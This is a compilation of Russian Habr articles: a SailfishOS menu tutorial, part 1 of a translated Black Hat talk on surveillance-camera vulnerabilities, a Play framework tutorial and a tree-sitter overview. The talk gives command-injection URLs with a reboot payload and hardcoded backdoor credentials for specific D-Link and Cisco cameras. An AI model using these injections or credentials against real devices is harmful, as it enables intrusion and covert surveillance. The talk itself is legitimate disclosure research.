Контекстное меню закроется, если выбрать один из пунктов меню или просто тапнуть вне этого меню. Однако, компонент *ListItem* так же содержит методы *hideMenu()* и *showMenu()*, которые позволяют скрыть или показать контекстное меню вручную. Последнему методу можно в качестве параметра передать список свойств компонента *ContextMenu*, которые будут применены к меню (свойства компонента *ContextMenu* будут рассмотрены чуть позже). Кроме того, стандартное поведение для контекстного меню элемента списка можно изменить, установив свойству *showMenuOnPressAndHold* компонента *ListItem* значение *false*. В этом случае контекстное меню не будет появляться при долгом тапе по элементу. Наконец, узнать показано контекстное меню или нет можно с помощью свойства *menuOpen* компонента *ListItem*.
Контекстное меню можно показывать и вне списка, связав их с обычными элементами интерфейса. Для этого компонент *ContextMenu* имеет метод *show()*, которому в качестве аргумента передается элемент, относительно которого должно быть показано меню. При этом меню будет прикреплено к нижней границе данного элемента, а при показе будет выезжать вверх. Минимальный пример с таким меню может быть таким:
```
Page {
id: page
SilicaFlickable {
id: flickab
anchors.fill: parent
contentHeight: column.height
Column {
id: column
width: page.width
spacing: Theme.paddingLarge
PageHeader {
title: qsTr("Моё приложение")
}
Button {
id: button
text: "Нажми меня"
width: page.width
onClicked: contextMenu.show(label)
}
Label {
id: label
height: page.height / 2
text: "Просто текст"
verticalAlignment: Text.AlignBottom
}
}
ContextMenu {
id: contextMenu
MenuLabel {
text: "Контекстное меню"
}
MenuItem {
text: qsTr("Пункт меню 1")
onClicked: console.log("Нажат первый пункт меню")
}
}
}
}
```
Выглядит такая страница вот так:

А при нажатии на кнопку из нижнего края надписи выезжает меню:

Здесь нужно отметить, что высота надписи не случайно была сделана такой большой (в половину страницы). Дело в том, что контекстное меню показывается именно внутри компонента, указанного в методе *show()*, и если меню окажется больше этого элемента, то оно будет попросту обрезано. Для демонстрации данной особенности можно в примере выше у надписи сделать обычную высоту, а между кнопкой и надписью поместить белый прямоугольник:
```
Button {
id: button
text: "Нажми меня"
width: page.width
onClicked: contextMenu.show(label)
}
Rectangle {
color: "white"
height: page.height / 2
width: parent.width
}
Label {
id: label
text: "Просто текст"
}
```
Тогда страница будет выглядеть следующим образом:

А меню при открытии обрежется:

**UPD:** Как было замечено несколькими людьми, примеры выше выбраны не совсем удачно. В реальных проектах, в случаях когда контекстное меню по размерам больше элемента, к которому оно относится, стоит менять размеры элементов в зависимости от того, открыто меню или нет. Пример кода выше, в таком случае, следует изменить, сделав высоту компонента *Label* зависящей от меню:
```
Label {
id: label
text: "Просто текст"
height: contentHeight + (contextMenu.visible ? contextMenu.height : 0)
}
```
Тогда сама страница будет выглядеть так:

А при нажатии на кнопку меню визуально будет выезжать снизу надписи:

Закрыть контекстное меню можно с помощью метода *hide()*, а узнать открыто оно или нет с помощью свойства *active*. Кроме этого, компонент *ContextMenu* так же содержит свойство *closeOnActivation*, с помощью которого можно установить, должно ли закрываться меню при выборе какого-либо из его пунктов. А свойство *hasContent* поможет узнать, есть ли у меню какое-либо содержимое. Данное свойство используется и самой системой: если значение *hasContent* равно *false*, то меню не будет показано, даже при вызове метода *show()*.
Наконец *ContextMenu* содержит обработчик сигнала *onActivated()*, который вызывается каждый раз, когда был выбран какой-либо пункт меню. Аргументом обработчика является индекс выбранного пункта меню.
На этом всё. В данной статье я описал 3 основных стандартных вида меню в SailfishOS, рассказал как их можно реализовать, а так же какие особенности имеются у каждого из типов.
Автор: Денис Лаурэ
**UPD:** Текст статьи был обновлен, были учтены все присланные замечания. Спасибо всем, кто прислал комментарии и замечания. | https://habr.com/ru/post/308102/ | null | ru | null |
# Конференция BLACK HAT USA. Как Голливудский хакер использует камеры наблюдения. Часть 1
Я Грэг Хеффнер, и это разговор о том, как голливудский хакер использует камеры наблюдения. Некоторые из вас могут знать или не знать, что когда впервые была опубликована моя работа по этой теме, на интернет-портале Reuters об этом появилась статья.

Для меня как для спикера это было действительно здорово. Но проблема заключалась в том, что в статье решили подчеркнуть, что я работал для конкретного учреждения с трёхбуквенным названием, о котором в прессе было совсем немного заметок в последнее время. Причём они зашли так далеко, что утверждали, будто бы на BlackHat я презентовал свою работу, выполненную для этого трёхбуквенного агентства. Эта публикация привела к некоторым очень интересным телефонным звонкам от моего бывшего работодателя.
К счастью у нас есть люди, которые отвечают на мои телефонные звонки, так что в основном кричали на них, а не на меня, но мне всё равно пришлось успокаивать людей и, в конце в концов, я смог убедить бывшего работодателя, что иногда люди в интернете тоже бывают неправы.
Поэтому, чтобы быть предельно ясным, объясню — сегодняшний разговор не о любой работе, которую я когда-либо делал для бывших работодателей, а о том, что я делаю для своего нынешнего работодателя. Я работаю в качестве штатного аналитика уязвимостей компании Tactical Network Solutions, я также преподаю на курсах по эксплуатации встроенных устройств и время от времени балуюсь взломом беспроводных устройств.
Сегодня я расскажу о безопасности камер наблюдения, вернее, об отсутствии этой безопасности. В начале прошлого, 2011 года, я начал изучать вопрос безопасности прошивки камер, подключённых к сети наблюдения, и обнаружил много интересных вещей.
Отброшу в сторону угрозу «нулевого дня», я поговорю о ней, когда до неё доберусь, сначала я продемонстрирую вам, как в стиле настоящего голливудского хакера можно воспользоваться обнаруженными мною уязвимостями.
Итак, когда я начал изучать камеры наблюдения, а надо сказать, что я изучил множество встроенных устройств, но не камеры, то я захотел начать с чего-то простого, что наверняка гарантировало бы мне победу. Я выбрал D-Link, потому что они никогда не разочаровывают.

Я остановил свой выбор на модели DCS-7410 стоимостью около $900, это одна из самых дорогих наружных всепогодных камер наблюдения D-Link, работающая в дневном и ночном режимах. Как и остальные камеры, о которых мы сегодня будем говорить, она имеет административный интерфейс и поддерживает доступ видеопотока через интернет к веб-серверу, а также питается через сеть (PoE). Это делает её очень привлекательной целью для злоумышленника
Конкретно эта камера использует Lighttpd II — веб-сервер с открытым исходным кодом, который не часто применяется со встраиваемыми устройствами. Разработчики создали вменяемую конфигурацию и правила, ограничивающие доступ к тому, к чему можно добраться через веб-сервер.
На следующем слайде вы видите, что если вы хотите получить что-то в административном каталоге cgi/admin, нужно обладать правами администратора. Если вы хотите получить что-нибудь в директории видео, вы можете быть любым пользователем, но должны пройти авторизацию. У них имеются записи и правила входа для каждой отдельной директории в веб-интерфейсе, кроме директории cgi-bin.


Большинство cgi-скриптов камеры расположены в защищенном каталоге cgi. Незащищенный cgi-bin каталог содержит только один файл, rtpd.cgi, который является скриптом оболочки bash, используемым для запуска и остановки транспортного протокола RTP камеры в режиме реального времени.

Однако rtpd.cgi скрипт имеет серьезный изъян. Он анализирует параметры запроса путем замены всех амперсандов & в строке $QUERY\_STRING на пробелы, а затем получает результат использованием функции eval:

Так что если вы хотите просто остановить камеру, достаточно отправить запрос: rtpd.cgi?action=stop. При использовании по назначению следующий запрос HTTP приведет к изменению имени ?action, значение которого будет установлено в положение «start»:
```
$ wget http://192.168.1.101/cgi-bin/rtpd.cgi?action=start
```
Но поскольку данные в $query\_string исполняются вслепую методом eval, злоумышленник может выполнить любую команду, просто указав ее как часть параметров http GET:
```
$ wget http://192.168.1.101/cgi-bin/rtpd.cgi?reboot
```
Таким образом, хакер сможет перезагрузить камеру. Мне на самом деле было трудно категоризировать эту уязвимость, потому что это даже не инъекция команд, мы ничего не вводим, а просто позволяем программе выполняться с другими параметрами. Я назвал эту уязвимость «Рон Бургунди», потому что она будет выполнять буквально всё, что вы введёте в строке запроса.

Злоумышленник может использовать эту уязвимость для получения обычного пароля администратора камеры из NVRAM. Следующая команда выполняется скриптом запуска камеры после перезагрузки и отправляет вашему браузеру ответ такого вида:

Теперь у вас есть не только root-доступ, ведь получив пароль, вы становитесь ещё и администратором, поэтому можете делать с камерой и видеозаписями всё что угодно.
Как выясняется, D-link, как и многие производители, действительно любят повторно использовать код, устанавливая одинаковую прошивку, и это имеет место во многих их продуктах. Но это влияет не только на продукцию D-link, потому что подобная практика используется компанией Trendnet и некоторыми другими «небрендовыми» производителями подобных устройств. Сейчас широко распространено повторное использование кода как среди производителей одного бренда, так и между разными брендами. Эта уязвимость содержится в прошивках множества моделей камер, которые проиндексированы на ресурсе коллекций компьютерной уязвимости Shodan Dork.

Эта уязвимость может показаться знакомой некоторым людям, и это вероятно потому, что после моего выступления по этому поводу Core Security установил для этой продукции индекс уязвимости CVE-2013-1599, указав, что она присутствует только в устройствах D-link, не упомянув ни одного другого производителя, использующего в своих устройствах такую же прошивку. Даже если кто-то из производителей исправит эту ошибку в новой версии прошивки, большинство устройств останутся уязвимыми ещё года 3, потому что обычно никто не обновляет прошивку вовремя, а некоторые вообще не знают, что это такое. Как я уже сказал, продукция D-link одна из самых доступных целей для атаки, поэтому давайте рассмотрим камеры более авторитетных производителей, таких, как Cisco с моделью PVC 2300. Это IP-камера бизнес класса средней ценовой категории стоимостью $500.

В настоящее время она также имеет веб-сервер, и он обеспечивает аутентификацию, используя файл пароля в формате HTTP.

Большинство людей знакомы с этой системой – вы устанавливаете свой HTTP файл паролей, или точнее, ссылку на централизованный файл паролей в любой директории, которую хотите защитить паролем. Поэтому, если просмотреть прошивку, то веб-интерфейс каждой директории содержал файл паролей .htpasswd, кроме одной директории — oamp, расположенной по адресу /usr/local/www/oamp.

Вместо файла паролей в ней содержалась куча XML-файлов, которые служили ссылками на бинарный файл oamp.cgi. Давайте посмотрим, что делает этот cgi. Оказывается, он реализует своего рода мини-API, который полностью отделён от всего остального, что запускается в веб-интерфейсе.

Он ожидает от вас запроса на определённые действия, включая загрузку файла конфигурации, обновление файла конфигурации, загрузку файла обновления прошивки, обновление прошивки и многое другое. Разработчики были не настолько глупы, поэтому прежде чем выполнить ваш запрос, oamp.cgi проверяет, имеется ли у вас правильный действительный сеанса Session ID.

Если у вас не указан действительный идентификатор сеанса, то единственное, что он позволяет сделать – это ввести логин.

Это само по себе интересно, потому что они реализовали такую проверку аутентификации, которая больше в интерфейсе нигде не используется. Я стал разбираться, как они управляют входом, то есть логином. Они рассчитывают на то, что вы указываете имя пользователя и пароль, и больше никаких сюрпризов.


А дальше они делают два вызова функции PRO\_GetStr, и я понятия не имею, на что они влияют. Но я знаю, что при первом вызове этой функции ей передаются две строки – OAMP и имя пользователя L1\_usr, а при втором вызове – ещё две строки, OAMP и пароль пользователя L1\_pwd.


Затем первое значение возвращается для пользователя L1 и сравнивается с именем пользователя user, L1\_usr, указанном при аутентификации, и так же возвращается второе значение строки – пароль password, L1\_usr, который сравнивается с паролем, введённым пользователем при входе.


Предположительно, этот логин пользователя L1 и его пароль, какие бы значения они не принимали, обеспечивают правильный вход в систему для этого интерфейса OAMP. Единственное другое место, которое я смог найти в прошивке, и которое действительно связано с логином и паролем пользователя, находится в файле конфигурации.

И эти значения жестко закодированы в устройствах, использующих при работе файл конфигурации раздела OAMP. Вы видите, что значение логина пользователя L1 установлено в строке L1\_admin, а значение пароля пользователя – в строке L1\_51.
И это настоящая проблема, потому что весь этот интерфейс OAMP и эти жестко запрограммированные учетные записи полностью недокументированы, поэтому никто не знает, что они там, кроме тех людей, которые потрудились заглянуть в прошивку. Конечно, администратор никогда не станет этого делать.
Но даже если бы он об этом узнал, для него нет никакого способа изменить эти значения, так как в данной камере нет никакого интерфейса администратора. Проблема жёстко закодированных секретных паролей в том, что благодаря использованию бэкдоров они ненадолго остаются в секрете.
Таким образом, мы можем использовать эти бэкдор-аккаунты для осуществления входа в систему и получения идентификатора сеанса session ID. Теперь, когда мы можем отослать этот session ID вместе с нашими запросами, мы также можем вызвать любые другие действия, поддерживаемые oamp.cgi, в том числе скачать файл конфигурации настроек.


Проблема в том, что если попытаться расшифровать его с помощью Base64, это не срабатывает, вы просто получаете кучу хлама. Это тот самый случай, когда Base64 оказывается не Base64.

Причина этого становится очевидной, когда вы смотрите на конечный код Base64 в самом двоичном файле прошивки PVC-2300 – здесь создана основа для кодирования, но при этом используется нестандартная строка ключа Base64, что выяснилось при анализе шифрования и расшифровки кода 64. К счастью, с помощью Python очень легко изменить строку ключа в модуле Python Base64 на пользовательскую строку ключа, как это показано на слайде.

Так, с помощью пары строк Python мы можем легко расшифровать файл конфигурации и превратить его в простой текст, который дает нам параметры входа под логином администратора.

Получив контроль над камерой, мы можем увидеть серверную комнату. Проблема в том, что просмотр серверных комнат действительно захватывает первые 10 секунд, но потом это становится довольно скучным занятием.

Поэтому я вернулся к коду и занялся изучением возможности загружать прошивку. Это на самом деле очень интересно, потому что вместо загрузки файла прошивки на устройство с официального сайта можно указать свой URL-адрес, устройство перейдёт по этому адресу и загрузит то, что предположительно считает прошивкой.

Функция system2 просто генерирует команду из строки форматирования и url перед вызовом системной функции libc, что позволяет злоумышленнику вводить произвольные команды оболочки через параметр url. Команда злоумышленника будет выполнена с правами суперпользователя, и поскольку проверка выполняется по значению url, её очень легко обойти с помощью такого скрипта:
```
$ wget --header=”sessionID: 57592414”
http://192.168.1.101/oamp/System.xml?action=loadFirmware&url=https://127.0.0.1:6
5534/;reboot;
```
После этого происходит перезагрузка компьютера, расположенного по этому URL-адресу, и вы сможете запустить любую команду, какую только хотите.

Эта уязвимость была проверена на всех версиях прошивки двух моделей камер наблюдения Cisco — PVC-2300 и WVC-2300, аналогичной камеры с двумя антеннами. На момент написания моей статьи Shodan показал более 500 общедоступных и потенциально уязвимых IP-камер, принадлежащих отелям, серверным помещениям и инжиниринговым компаниям, разрабатывающим оборудование для Международной космической станции.
Итак, D-link и Cisco не обеспечивают защиту камер наблюдения должным образом, хотя вы знаете, что эти камеры не является для них основным видом продукции. Поэтому давайте рассмотрим бренды, специализирующиеся именно на разработке и производстве камер наблюдения. Я выбрал компанию IQ Invision, выпускающую дорогостоящие камеры высокой чёткости, такие как IQ 832n стоимостью более $1000 за штуку, что совсем не дешево.

Основная причина моего интереса заключается в том, что это те ребята, которые делают камеры, установленные в деловом комплексе, где я работаю, так что на это имелись личные причины. Итак, что же вы получаете, используя профессиональную камеру наблюдения за тысячу долларов?
По умолчанию эти камеры обеспечивают видеоизображение без проверки подлинности, и ни одно из развернутых исследований инсталляции камеры не смогло изменить этот параметр по умолчанию. В то время как административный интерфейс защищен паролем, пользовательский интерфейс предоставляет доступ к любым ресурсам камеры без аутентификации, что создаёт широкое поле для атаки.

Настройки параметров аутентификации пользователя может изменить администратор, но попробуйте угадать, сколько администраторов подключили свои камеры к интернету, не изменяя настроек по умолчанию – практически все. Однако большинству администраторов в нашем комплексе хватило ума, чтобы изменить эти настройки, поэтому я стал смотреть, что я ещё смогу сделать без аутентификации. Оказалось, что я могу свободно получить доступ к странице.

Здесь содержится целая куча параметров камеры, таких, как настройка фокусировки, которые являются не настолько интересными, как имена пользователей и пароли. Более интересен был код, размещённый за этой страницей oidtable.cgi. Если деассемблировать этот бинарный файл, то можно увидеть, что страница принимает только один параметр, grep, который используется для фильтрации результатов, возвращаемых странице oidtable.cgi.

После проверки того, что предоставленное значение параметра имеет длину меньше 32 символов, oidtable.cgi размещает это значение в командной строке и передаёт его popen:


Увиденное заставило меня изобразить «фейспалм» и побудило произвести инъекцию некоторых команд.

Вы видите, что здесь, так же как и в случае с D-Link, я могу выполнить команду PS и получить выходные данные, отправляемые обратно моему браузеру. Таким образом, я, не пройдя аутентификации, могу легко вводить произвольные команды оболочки, которые будут выполняться как root. В списках процессов видно, что в этих камерах уже установлен Netcat с возможностью ввода «тире» dash-e, поэтому я уверен, что большинство из присутствующих здесь людей смогут придумать более интересные команды для выполнения, чем список процессов. Однако моей основной целью всё же было попасть в «админку», и я придумал, как это сделать.
16:30 мин
[Конференция BLACK HAT USA. Как Голливудский хакер использует камеры наблюдения. Часть 2](https://habr.com/company/ua-hosting/blog/427369/)
Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, **30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас:** [Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер?](https://habr.com/company/ua-hosting/blog/347386/) (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).
**VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно** при оплате на срок от полугода, заказать можно [тут](https://ua-hosting.company/vpsnl).
**Dell R730xd в 2 раза дешевле?** Только у нас **[2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249](https://ua-hosting.company/serversnl) в Нидерландах и США!** Читайте о том [Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?](https://habr.com/company/ua-hosting/blog/329618/) | https://habr.com/ru/post/427367/ | null | ru | null |
# ‘Hello World’ tutorial — Ваше первое приложение на Play framework (Часть 1)
Это очень поверхностное руководство, которое только познакомит с базовым функционалом Play framework на примере создания приложения ‘Hello World’.
Познакомиться с Play framework можно в статье [«Отличный Java MVC фреймворк — Play Framework»](http://habrahabr.ru/blogs/java/106744/). А в этом переводе описан процесс создания веб-приложения.
Требования
==========
Убедитесь что у вас установлена Java машина не ниже 5 версии.
Так как мы будем активно пользоваться командной строкой, то лучше использовать Unix подобную ОС. Если вы работаете под Windows, Play framework также будет работать нормально, вам необходимо будет ввести несколько команд в командной строке.
Вам, конечно, потребуется текстовый редактор. Если вы привыкли использовать полнофункциональные IDE, такие как Eclipse или Netbeans вы можете использовать их. Однако с Play можно работая в простом текстовом редакторе, таким как Textmate, Emacs или VI. Это потому, что Play управляет компиляций и развертыванием самостоятельно. Мы скоро увидим, это…
Установка Play framework
========================
Это очень просто. Необходимо только скачать последнюю версию и распаковать в любое удобное место. ([Скачать](http://download.playframework.org/releases/play-1.1.zip))
> Если Вы используете Windows, то хорошей идеей будет использовать путь к файлам без символа пробела, например c:\Play лучше, чем c:\Documents And Settings\user\play.
Чтобы работать эффективнее, необходимо добавить каталог Play в переменную окружения PATH. Это позволит использовать команду play в любой директории. Чтобы проверить, что всё работает, достаточно открыть командную строку и ввести play, он должен показать вам помощь по основным командам.
Создание проекта
================
Теперь, когда Play framework установлен, пришло время создать приложение. Создать его довольно легко и полностью управляется из командной строки. Play позволяет создавать стандартные шаблоны приложений.
Откройте консоль и введите:
`~$ play new helloworld`
Вас попросят ввести полное имя проекта. Введите «Hello world».
Команда play new создаст директорию helloworld/ и заполнит её рядом файлов и директорий, наиболее важные из которых:
**app/** содержит ядро приложения: модели, контроллеры и представления. Он так же может содержать другие пакеты Java классов. Это каталог, в котором находятся исходники приложения.
**conf/** содержит файлы конфигурации приложения, основной файл конфигурации — application.conf, в routes определены доступные адреса и файл messages, который используется для интернационализации приложения.
**lib/** содержит дополнительные библиотеки Java.
**public/** содержит публично доступные файлы, которые включают в себя JavaScript, файлы стилей и изображения.
**test/** содержит все тестовые испытания приложения. Тесты могут быть написаны как для JUnit так и для Selenium.
> Так как Play использует UTF-8 как единственную кодировку, очень важно, чтобы все текстовые файлы, размещенные в этих каталогах, были в UTF-8. Убедитесь в том, что текстовый редактор настроен соответствующе.
Возможно, Вы задаётесь вопросом, где хранятся .class файлы. Ответ – их нет: Play не использует .class файлы, он читает непосредственно файлы исходников. В фреймворке используется компилятор Eclipse для компиляции на лету.
Это даёт две очень важные вещи в процессе разработки. Во-первых, Play будет обнаруживать изменения, внесенные в любой исходный файл Java и автоматически перекомпилировать их во время выполнения. Во-вторых, когда происходит ошибка, Play будет создавать информативные отчеты об ошибках, показывая вам точный код источника ошибки.
Запуск приложения
=================
Теперь Мы можем протестировать только что созданное приложение. Просто вернитесь в командную строку, перейдите в каталог helloworld/ и выполните команду play run. Play загрузит приложение и запустит веб-сервер на 9000 порту.
Вы можете увидеть результат работы приложение, открыв адрес <http://localhost:9000> в браузере. Новое приложение имеет стандартную страницу приветствия. Приложение успешно создано.

Давайте посмотрим, как приложение отображает эту страницу.
Точка входа в приложение определяется в файле conf/routes. Он определяет все доступные адреса в приложении. Если открыть этот файл, Вы увидите:
`GET / Application.index`
Эта строка говорит Play, что, когда веб-сервер получает GET запрос /, он должен вызвать метод Application.index. В этом случае, Application.index это ярлык для controllers.Application.index, поскольку пакет controllers является неявным.
При создании приложений на Java Вы обычно используют единую точку входа, которая определяется таким способом:
```
public static void main(String[] args) {
...
}
```
Play приложение имеет несколько точек входа, по одному для каждого URL. Мы называем эти методы методы action. Action определяются в специальных классах, которые мы называем контроллерами.
Давайте посмотрим, что представляет из себя контроллер controllers.Application. Откроем исходник helloworld/app/controllers/Application.java:
```
package controllers;
import play.mvc.*;
public class Application extends Controller {
public static void index() {
render();
}
}
```
Вы можете заметить, что классы контроллеров наследуют play.mvc.Controller. Этот класс предоставляет полезные методы для контроллеров, такой как render() метод, который используется в функции index().
Функция index() определяется как public static void. Так определены методы действий. Методы действий являются статическими, так как контроллер класса никогда не создаётся. Они отмечены как public что бы разрешить фреймворку вызывать их в ответ на URL. Они всегда возвращают void.
Вызвать действие по умолчанию просто: достаточно вызвать метод render(), который даст знать Play что необходимо показать шаблон. Использование шаблонов является наиболее распространенным способом (но не единственным) для получения ответа HTTP.
Шаблоны являются простыми текстовыми файлами, которые расположены в директории /app/views. Так как мы не указали шаблон, по умолчанию для этого действия будет использоваться: Application/index.html
Что бы увидеть как выглядит шаблон, необходимо открыть файл helloworld/app/views/Application/index.html. Он содержит:
```
#{extends 'main.html' /}
#{set title:'Home' /}
#{welcome /}
```
Шаблон оформления кажется довольно простым. На самом деле, все, что вы видите теги Play. Play framework теги очень похожи на JSP taglib. Тег #{welcome /} — генерирует приветствие, которое вы видели в браузере.
Тег #{extends /} указывает Play, что этот шаблон наследует шаблон main.html. Наследование шаблонов мощная концепция, которая позволяет создавать сложные веб-страницы за счет повторного использования общих частей.
Откроем шаблон helloworld/app/views/main.html:
```
#{get 'title' /}
#{doLayout /}
```
Тег #{doLayout /} — место куда будет вставлено содержимое файла Application/index.html.
*Окончание перевода будет во второй части, в которой будет разобрано работа с формами, изменение дизайна и создан автоматический тест.*
[(Часть 2)](http://habrahabr.ru/blogs/java/111464/) | https://habr.com/ru/post/111420/ | null | ru | null |
# Tree-sitter: обзор инкрементального парсера
Некоторые IDE и текстовые редакторы парсят исходный файл целиком при каждом изменении, что может тормозить на больших файлах, а некоторые делают это построчно с помощью регулярных выражений, что тоже тормозит и не даёт качественной подсветки кода, т.к. теряется контекст. Для решения этих проблем в недрах GitHub был создан [tree-sitter](https://github.com/tree-sitter/tree-sitter) - инкрементальный парсер, который используют всё больше и больше проектов. Давайте разбираться зачем и почему.
Введение с [официального сайта](https://tree-sitter.github.io/tree-sitter/) гласит:
*Tree-sitter это инструмент для создания парсеров и библиотека инкрементального парсинга. Он может построить синтаксическое дерево для исходного файла и эффективно обновлять синтаксическое дерево при изменении исходного файла. Tree-sitter нацелен быть:*
* *Достаточно* ***общим****, чтобы парсить любой язык программирования.*
* *Достаточно* ***быстрым****, чтобы парсить на каждое нажатие клавиши в текстовом редакторе.*
* *Достаточно* ***надёжным****, чтобы выдавать пригодные результаты даже при наличии синтаксических ошибок.*
* ***Не иметь зависимостей****, чтобы библиотека (написанная на чистом C) могла быть встроена в любое приложение.*
Далее на примерах разберём как это влияет на работу IDE и текстовых редакторов (слайды взяты с выступления ["Tree-sitter - a new parsing system for programming tools" by Max Brunsfeld](https://www.youtube.com/watch?v=Jes3bD6P0To)).
Подсветка кода
--------------
Такие редакторы текста как [TextMate](https://macromates.com/), [Sublime Text](https://www.sublimetext.com/) или [Visual Studio Code](https://code.visualstudio.com/) используют регулярные выражения, которые применяются построчно, для подсветки кода. Это приводит к тому, что, в отличие от редакторов опирающихся на синтаксические деревья, они не могут знать контекст и подсветка оставляет желать лучшего. Да и производительностью на больших объемах строк такой подход похвастаться не может.
Сравнение подсветки кода Sublime Text 3, VS Code, Atom без tree-sitter и Atom с tree-sitter. Atom с tree-sitter подсвечивает больше, т.к. понимает структуру и контекст.Но проблемы у редакторов использующих регулярные выражения возникают не только когда строк кода много, но и когда она всего одна, зато очень длинная. В этом случае такие редакторы ограничивают максимальную длину строки для подсветки, иначе парсинг регулярками занимал бы слишком много времени. Если редактор оперирует синтаксическими деревьями, то ни количество строк, ни их длина ему не помеха.
 и текстовом редакторе с tree-sitter (внизу).")Сравнение подсветки длинных строк в текстовом редакторе основанном на регулярных выражениях (вверху) и текстовом редакторе с tree-sitter (внизу).Свёртка кода
------------
Самый простой способ найти блоки кода для свёртывания - ориентироваться на величину отступов, т.к. обычно многострочный блок кода имеет единый размер отступов на каждой строке, что приводит к путанице, когда это не так. Зная синтаксическую структуру кода, текстовый редактор может сворачивать блоки кода независимо от величины отступов.
Тело метода можно свернуть, даже если в коде нет никаких отступов.Расширение выделения
--------------------
Также знание о синтаксической структуре кода даёт нам такой мощный инструмент как расширение выделения.
Обработка ошибок
----------------
Tree-sitter устойчив к синтаксическим ошибкам в коде и достаточно умён чтобы понять какая часть кода (синтаксического дерева) лишняя. Это позволяет текстовым редакторам подсвечивать только ошибочные участки кода, а не окрашивать всё красным.
Синтаксическое дерево с обнаруженной ошибочной веткой, что позволяет подсветить это место в коде.Скорость
--------
Самая главная фишка tree-sitter - инкрементальный парсинг, т.е. при изменении кода исходный файл не будет обработан целиком - обработана будет только изменённая часть, что делает возможным запускать такой парсинг на каждое нажатие клавиш в текстовом редакторе без задержек в отклике интерфейса.
Парсинг 20 тысяч строк кода на JavaScript занимает 54 милисекунды. На каком железе - не указано.Как это работает
----------------
Tree-sitter использует [GLR-парсер](https://ru.wikipedia.org/wiki/GLR-%D0%BF%D0%B0%D1%80%D1%81%D0%B5%D1%80) - обобщённый LR-парсер. GLR-алгоритм парсинга похож на LR, но приспособлен для работы с неоднозначностями.
Если кратко, то LR парсер имеет стэк и таблицу правил. Он читает токены слева-направо и сверяясь с таблицей правил преобразует стэк. Проблема возникает, если синтаксис языка допускает неоднозначности. Например, выражения ниже начинаются одинаково (`x = (y)`) и понять что мы в данный момент парсим можно только дойдя до `;` или `=>`.
```
x = (y); // выражение в скобках
x = (y) => z; // лямбда
```
Тут на помощь и приходит GLR-парсер. При наличии неоднозначностей он параллельно перебирает все возможные варианты не используя backtracking. Т.е. стэк распараллеливается на несколько возможных вариантов, но в итоге остаётся только один, а все неправильные предположения отбрасываются.
Подробнее и с картинками можно посмотреть в выступлении [Tree-sitter - a new parsing system for programming tools](https://www.youtube.com/watch?v=Jes3bD6P0To) или в статье [A Comprehensive Introduction to Tree-sitter](https://derek.stride.host/posts/comprehensive-introduction-to-tree-sitter).
Песочница
---------
Tree-sitter можно попробовать в [песочнице](https://tree-sitter.github.io/tree-sitter/playground) прямо в браузере. Выбираем свой любимый язык программирования и пишем код. Снизу в реальном времени будет результат парсинга.
Пример работы песочницы.В песочнице tree-sitter показывает только именованные узлы (Named Nodes, подсвечены синим), в то время как анонимные узлы (Anonymous Nodes), такие как скобки или точка с запятой, скрыты, но присутствуют в дереве. Также некоторые узлы могут иметь поля (Fields, подсвечены серым), которые позволяют проще ориентироваться в структуре дерева.
Ещё одной фишкой tree-sitter "из коробки" является возможность поиска в дереве по шаблону. Для этого активируем чекбокс `Query` в песочнице. Синтаксис запросов основан на S-выражениях и позволяет задавать весьма сложные шаблоны для поиска. Подробнее про поиск и синтаксис запросов можно почитать в [документации](https://tree-sitter.github.io/tree-sitter/using-parsers#pattern-matching-with-queries).
Запросы для поиска первого и последнего параметров функции.Использование
-------------
В основном, как не сложно догадаться, tree-sitter используют текстовые редакторы, но есть и другие проекты: поиск по коду, diff и т.д. Для tree-sitter существуют библиотеки для популярных языков программирования, а также готовые парсеры различных языков, если вы вдруг решите использовать его в своём проекте или придумаете какой-то новый. Например, [линтер за час](https://siraben.dev/2022/03/22/tree-sitter-linter.html) написать.
Создание парсера
----------------
Грамматика задаётся в специальном файле `grammar.js`. Как не трудно догадаться, описывается она с помощью JavaScript. Процесс этот не самый простой и подробнее о нём можно почитать в [документации](https://tree-sitter.github.io/tree-sitter/creating-parsers). Можно посмотреть на примеры грамматик для [Java](https://github.com/tree-sitter/tree-sitter-java/blob/master/grammar.js) и [JavaScript](https://github.com/tree-sitter/tree-sitter-javascript/blob/master/grammar.js).
### Биндинги
Tree-sitter готов к использованию в виде библиотеки для следующих языков программирования:
* [Haskell](https://github.com/tree-sitter/haskell-tree-sitter)
* [JavaScript (Node.js)](https://github.com/tree-sitter/node-tree-sitter)
* [JavaScript (Wasm)](https://github.com/tree-sitter/tree-sitter/tree/master/lib/binding_web)
* [Lua](https://github.com/euclidianAce/ltreesitter)
* [OCaml](https://github.com/returntocorp/ocaml-tree-sitter-core)
* [Python](https://github.com/tree-sitter/py-tree-sitter)
* [Ruby](https://github.com/tree-sitter/ruby-tree-sitter)
* [Rust](https://github.com/tree-sitter/tree-sitter/tree/master/lib/binding_rust)
* [Swift](https://github.com/ChimeHQ/SwiftTreeSitter)
* [Kotlin](https://github.com/oxisto/kotlintree)
* [Java](https://github.com/serenadeai/java-tree-sitter)
Парсеры
-------
Готовы к использованию парсеры следующих языков:
* [Bash](https://github.com/tree-sitter/tree-sitter-bash)
* [C](https://github.com/tree-sitter/tree-sitter-c)
* [C#](https://github.com/tree-sitter/tree-sitter-c-sharp)
* [C++](https://github.com/tree-sitter/tree-sitter-cpp)
* [Common Lisp](https://github.com/theHamsta/tree-sitter-commonlisp)
* [CSS](https://github.com/tree-sitter/tree-sitter-css)
* [CUDA](https://github.com/theHamsta/tree-sitter-cuda)
* [DOT](https://github.com/rydesun/tree-sitter-dot)
* [Elm](https://github.com/elm-tooling/tree-sitter-elm)
* [Emacs Lisp](https://github.com/Wilfred/tree-sitter-elisp)
* [Eno](https://github.com/eno-lang/tree-sitter-eno)
* [ERB / EJS](https://github.com/tree-sitter/tree-sitter-embedded-template)
* [Fennel](https://github.com/travonted/tree-sitter-fennel)
